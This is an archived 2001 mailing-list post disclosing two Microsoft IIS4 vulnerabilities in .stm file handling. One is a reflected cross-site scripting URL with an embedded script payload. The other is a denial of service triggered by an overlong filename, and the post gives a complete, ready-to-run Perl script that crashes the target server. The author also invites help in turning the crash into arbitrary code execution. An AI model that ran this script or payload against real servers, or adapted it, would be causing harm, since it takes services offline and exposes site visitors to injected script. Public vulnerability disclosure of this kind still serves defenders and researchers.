Nmap Security Scanner
*Intro
*Ref Guide
*Install Guide
*Download
*Changelog
*Book
*Docs
Security Lists
*Nmap Hackers
*Nmap Dev
*Bugtraq
*Full Disclosure
*Pen Test
*Basics
*More
Security Tools
*Pass crackers
*Sniffers
*Vuln Scanners
*Web scanners
*Wireless
*Exploitation
*Packet crafters
*More
Site News
Site Search:
Exploit World
Advertising
About/Contact
Credits
Sponsors:




Vulnerability Development mailing list archives

New D.O.S on IIS4 & a new cross site scripting vuln
From: "Admin [iSecureLabs]" <admin () ISECURELABS COM>
Date: Thu, 29 Mar 2001 16:55:08 +0200

--[ iSecureLabs.com French Security Team ]--


We have found 2 vulnerability on Microsoft IIS4
- Cross Site Scripting
- D.O.S

--[ The first one:
It is a cross site scripting, using this crafted url
http://server.com/foo/<script>alert('test')</script>.stm
it will execute the JavaScript code on your computer.

--[ The seconde one:
By requesting several  times a .stm file 500 char long
(http://server.com/foo/[a x 500].stm) the IIS4 server crash.
Perhaps it is possible to use this vulnerability to execute arbitrary code.
We are currently working on a way to exploit this vulnerability.
If someone wants to help us, it is ok ;-)

Here is the exploit for the D.O.S one:

---<cut>---

#!/usr/bin/perl
# IIS4 .STM D.O.S by aurelien.cabezon () iSecureLabs com -
http://www.iSecureLabs.com

use IO::Socket;

if (@ARGV <2){print "Usage: ./stm.pl <host> <port>\n"; exit;}

$overflow = "a" x 500;

sub connect()
{

$Socket= IO::Socket::INET->new(Proto=>"TCP",
                             PeerAddr=>$ARGV[0],
                             PeerPort=>"$ARGV[1]",)
                             or die "Connection impossible a $ARGV[0] : f$!\n";

        $Socket -> autoflush(1);

        print $Socket "GET /foo/$overflow.stm HTTP/1.0\n\n";


        print " \n\n> GET $ARGV[0]/foo/$overflow.stm HTTP/1.0\n\n";

        print " > Server response:\n\n";

                while(<$Socket>){

                        chomp ($reponse = <$Socket>);
                        print "$reponse\n";

                                }

        print "\n> Data Sent. Server crashed.\n";


close $Socket;

}
&connect;

---<cut>---

Cabezon Aurélien
aurelien.cabezon () iSecureLabs com
http://www.iSecureLabs.com


  By Date           By Thread  

Current thread:
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]